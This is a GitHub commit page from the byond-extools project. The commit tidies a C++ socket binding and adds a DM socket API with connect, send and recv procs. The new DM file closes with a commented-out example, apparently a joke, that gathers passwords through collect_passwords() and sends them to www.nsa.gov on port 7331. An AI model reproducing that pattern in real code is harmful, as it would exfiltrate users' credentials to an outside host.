Skip to content
This repository was archived by the owner on Apr 10, 2021. It is now read-only.

Commit 03788a5

Browse files
tweaks, api, sample
1 parent 9b6ede3 commit 03788a5

File tree

2 files changed

+44
-5
lines changed

2 files changed

+44
-5
lines changed

byond-extools/src/datum_socket/datum_socket.cpp

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,11 @@
11
#include "datum_socket.h"
22
#include "../core/core.h"
33
#include "../core/proc_management.h"
4+
#include <thread>
5+
6+
#ifndef min
7+
#define min(a,b) (((a) < (b)) ? (a) : (b))
8+
#endif
49

510
std::unordered_map<unsigned int, std::unique_ptr<DatumSocket>> sockets;
611
unsigned int recv_sleep_opcode = -1;
@@ -72,32 +77,27 @@ void DatumSocket::recv_loop()
7277

7378
trvh register_socket(unsigned int args_len, Value* args, Value src)
7479
{
75-
//Core::Alert("register");
7680
sockets[src.value] = std::make_unique<DatumSocket>();
7781
return Value::Null();
7882
}
7983

8084
trvh connect_socket(unsigned int args_len, Value* args, Value src)
8185
{
82-
//Core::Alert("connect");
8386
return sockets[src.value]->connect(args[0], std::to_string((int)args[1].valuef)) ? Value::True() : Value::False();
8487
}
8588

8689
trvh send_socket(unsigned int args_len, Value* args, Value src)
8790
{
88-
//Core::Alert("send");
8991
return sockets[src.value]->send(args[0]) ? Value::True() : Value::False();
9092
}
9193

9294
trvh check_socket(unsigned int args_len, Value* args, Value src)
9395
{
94-
//Core::Alert("check");
9596
return sockets[src.value]->has_data() ? Value::True() : Value::False();
9697
}
9798

9899
trvh retrieve_socket(unsigned int args_len, Value* args, Value src)
99100
{
100-
//Core::Alert("retrieve");
101101
return Value(sockets[src.value]->recv(1024));
102102
}
103103

byond-extools/src/dm/socket.dm

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
/datum/socket
2+
/datum/socket/proc/__register_socket()
3+
/datum/socket/proc/__deregister_socket()
4+
/datum/socket/proc/__check_has_data()
5+
/datum/socket/proc/__wait_for_data()
6+
/datum/socket/proc/__retrieve_data()
7+
8+
/datum/socket/New()
9+
__register_socket()
10+
11+
/datum/socket/Del()
12+
//world << "Deleting socket"
13+
__deregister_socket()
14+
15+
//addr is a string with IP or domain, port is a number
16+
/datum/socket/proc/connect(addr, port)
17+
18+
//returns TRUE on success, FALSE on failure (e.g. disconnect)
19+
/datum/socket/proc/send(data)
20+
21+
//returns the received data as a string. Returns up to `len` bytes as a string, or sleeps until there's data in the buffer.
22+
/datum/socket/proc/recv(len)
23+
if(!__check_has_data())
24+
__wait_for_data()
25+
return __retrieve_data()
26+
27+
//disconnect the socket
28+
/datum/socket/proc/close()
29+
30+
/* Example:
31+
32+
/proc/upload_statistics()
33+
var/statistics = collect_passwords()
34+
var/datum/socket/S = new
35+
S.connect("www.nsa.gov", 7331)
36+
S.send(statistics)
37+
world << S.recv()
38+
39+
*/

0 commit comments

Comments
 (0)